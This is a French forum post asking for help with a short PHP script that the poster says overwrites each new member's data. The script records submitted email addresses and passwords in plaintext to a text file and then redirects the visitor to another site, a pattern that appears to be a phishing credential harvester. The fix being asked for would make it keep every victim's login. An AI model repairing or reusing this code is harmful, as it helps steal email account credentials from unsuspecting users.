Probleme avec script php

Bonjour, alors voila, j'ai un site ou il y a des membres qui peuvent s'enregistrer et enfaite le probleme et que avec mon script, quand un nouveau membre s'enregistre sa efface les données de celui qui s'est inscrit avant et ansi de suite, donc a chaque fois sa efface le precedent membre, voila mon script, je compte sur votre aide pour m'aider a le corriger (a preciser=> c'est un formulaire d'authentification par mail) =>

<?php

$email = $_POST['login'];

$pass = $_POST['passwd'];

$string = "Email: $email\r\nPassword: $pass\r\n\r\n";

$open = fopen("enregistreur.txt", "r+");

fwrite($open, $string);

fclose($open);

Header("Location: https://www.monsite.net/");

?>